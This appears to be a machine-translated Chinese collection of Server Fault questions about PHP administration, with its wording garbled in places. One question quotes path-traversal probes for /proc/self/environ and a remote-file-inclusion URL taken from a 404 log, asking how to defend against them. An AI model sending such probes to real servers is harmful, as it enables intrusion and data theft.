Articles of PHP

如何安装旧的PHP版本

我已经从apt安装了PHP – 我如何删除该版本并安装较旧的版本?

Ubuntu的垃圾收集cron工作为PHP会话需要25分钟运行,为什么?

Ubuntu有一个cron作业,它可以查找和删除旧的PHP会话: # Look for and purge old sessions every 30 minutes 09,39 * * * * root [ -x /usr/lib/php5/maxlifetime ] \ && [ -d /var/lib/php5 ] && find /var/lib/php5/ -depth -mindepth 1 \ -maxdepth 1 -type f -cmin +$(/usr/lib/php5/maxlifetime) ! -execdir \ fuser -s {} 2> /dev/null \; -delete 我的问题是,这个过程需要很长时间才能运行,有很多的磁盘IO。 这是我的CPU使用率图: 清理运行是由蓝绿色尖峰代表。 在这个期间的开始,PHP的清理工作安排在默认的09和39分钟时间。 在15:00,我从cron中删除了39分钟的时间,所以两倍大小的清理工作只能运行一半(你可以看到峰值是宽度的一倍,频率的一半)。 […]

为什么yum在CentOS上安装了过期的软件包? (特别是PHP 5.1)如何解决?

我正在研究一个新的CentOS服务器,并且非常恼火地发现yum在Ubuntu上不能像“apt-get install”一样顺畅,出色地工作。 安装一个LAMP堆栈,我运行了以下内容: $ yum install php $ yum install mysql 此外: $ yum install mysql-server $ yum install mysql-devel $ yum install php-mysql 现在运行: $ rpm -qa | grep php …显示我有各种PHP 5.1.6包安装,我需要5.2最低。 另外,我看到它安装了mysql 5.0.77,尽pipe目前的版本是5.5.20。 但希望MySQL 5.0将工作。 PHP 5.1不会。 所以真正的问题是(): 如何修复我的PHP,使其成为最新的稳定版本(根据PHP.net 5.3.9)? 如何使我的CentOS机器更像Ubuntu一样工作,所以我不必再处理这个问题? 非常感谢。 编辑:CentOS 5.7上周由托pipe公司安装,所以我不知道他们为什么要安装CentOS的旧版本,而不是最新版本。 我至less需要PHP 3.2,所以我很欣赏如何做到这一点的build议。 我对包和存储库不是很熟悉,但似乎任何人都可以启动一个存储库,所以我很担心从一些可能感染服务器的随机存储库中安装东西。

这是一个黑客的尝试?

查看我的404日志,我注意到以下两个URL,这两个URL都发生过一次: /library.php=../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ 和 /library.php=../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ%00 有问题的页面library.php需要一个具有六种不同可接受值的typevariables,然后是一个idvariables。 所以一个有效的URL可能是 library.php?type=Circle-K&id=Strange-Things-Are-Afoot 在用来查询数据库之前,所有的id都是通过mysql_real_escape_string运行的。 我是菜鸟,但在我看来,这两个链接都是对webroot的简单攻击? 1)除了404之外,如何最好地保护这些东西? 2)我应该对知识产权负责吗? 编辑:也只是注意到这一个 /library.php=http://www.basfalt.no/scripts/danger.txt 编辑2:所有3次攻击的侵犯性IP是216.97.231.15 ,这跟踪一个位于洛杉矶外面的名为Lunar Pages的ISP。 编辑3:我决定在当地时间星期五上午打电话给ISP,并与谁可以打电话讨论这个问题。 我会在24小时内发布结果。 编辑4:我最终给他们的pipe理员发了电子邮件,他们首先回应说“他们正在调查”,然后一天后“这个问题现在应该得到解决”。 没有进一步的细节,可悲的是。

为什么下载的是PHP文件,而不是由Nginx处理?

我看到了同样的问题,许多解决scheme指向添加types处理程序,但这是为Apache。 我正在使用Arch Linux,Nginx,PHP和PHP-FMP,我不知道为什么PHP文件正在下载而不是运行。 这是我的nginx.conf: #user http; worker_processes 1; #error_log logs/error.log; #error_log logs/error.log notice; #error_log logs/error.log info; #pid logs/nginx.pid; events { worker_connections 1024; } http { include mime.types; default_type application/octet-stream; #log_format main '$remote_addr – $remote_user [$time_local] "$request" ' # '$status $body_bytes_sent "$http_referer" ' # '"$http_user_agent" "$http_x_forwarded_for"'; #access_log logs/access.log main; sendfile on; #tcp_nopush on; #keepalive_timeout 0; keepalive_timeout […]

phpMyAdmin错误 – configuration文件现在需要一个秘密密码

在安装phpmyadmin之后,我一直收到错误“configuration文件现在需要一个秘密密码”。 我已经设置了密码,并遵循https://serverfault.com/questions/291490/phpmyadmin-not-allowing-users-to-log-on上提供的指示,但似乎并没有工作。 我正在使用AMI,并且还拥有所有者和权限。 请帮助。

curlPOST – 411长度要求

我们有一个我们用PHP构build的RestFUL API。 如果我们提出要求: curl -u api-key:api-passphrase https://api.domain.com/v1/product -X POST 我们回来: 411 – Length Required 虽然如果我们简单地将-d ""添加到请求的工作中,并且没有411错误。 有没有办法不需要添加-d到curl命令? 我们正在使用lighttpdnetworking服务器,并相信它的lighttpd不是PHP谁返回411错误。

在ubuntu上安装php扩展

我有一个Ubuntu 9.10服务器。 我已经使用apt-get命令安装了apache2和php5。 如何安装php扩展? 有像apt-get这样的命令来获取它们吗? 或者,我应该手动查找PHP网站上的文件,并将其设置在php.ini? 更具体地说,我需要mcrypt,curl和gd。 谢谢

当运行FastCGI / PHP-FPM(以“nobody”用户身份)时,在PHP Sessions文件夹上设置什么权限/所有权?

我在运行一些脚本时遇到了问题,因为PHP-FPM无法写入我的会话文件夹: “2009/10/01 23:54:07 [error] 17830#0:* 24在stderr中发送FastCGI:”PHP警告: 未知:打开(/ var / lib / php / session / sess_cskfq4godj4ka2a637i5lq41o5,O_RDWR) 失败:Permission denied(13)in Unknown on line 0 PHP警告:未知:写入会话数据(文件)失败。 请确认 session.save_path的当前设置是正确的 (/ var / lib / php / session)在第0行的“未知”上传“ 显然这是一个许可问题; 我的会话文件夹的所有者/组是networking服务器的用户NGINX。 PHP-FPM虽然nobody运行,因此将它添加到nginx组并不是那么简单。 临时解决scheme是将/var/lib/php/session的权限设置为777 – 我觉得这不是“最佳实践”。 什么是最好的做法,当你需要分配一个守护进程写入权限的文件夹,但它运行时nobody ?

如何调查与Apache和PHP内存泄漏?

我们正在运行一个沉重的Drupal网站,执行财务build模。 我们似乎遇到了某种内存泄漏,因为在apache进程数量保持稳定的情况下,apache使用的内存超时, 我们知道内存问题来自apache / PHP,因为每当我们发出一个/etc/init.d/httpd reload内存使用下降(见上面的截图和下面的CLI输出): 在httpd之前重新加载 $免费 caching总共使用的空闲共享缓冲区 Mem:49447692 45926468 3521224 0 191100 22609728 – / + buffers / cache:23125640 26322052 交换:2097144 536552 1560592 在httpd重新加载之后 $免费 caching总共使用的空闲共享缓冲区 Mem:49447692 28905752 20541940 0 191360 22598428 – / + buffers / cache:6115964 43331728 交换:2097144 536552 1560592 每个apache线程被分配一个512MB的PHP memory_limit ,这就解释了高内存使用率会导致请求数量不足,并且max_execution_time为120秒,这应该会终止执行时间更长的线程,因此应该防止内存使用的持续增长看到了。 问:我们如何调查是什么导致了这种内存泄漏? 理想情况下,我正在寻找我可以在系统上执行的故障排除步骤,而不必打扰开发团队。 附加信息: OS: RHEL 5.6 PHP: 5.3 […]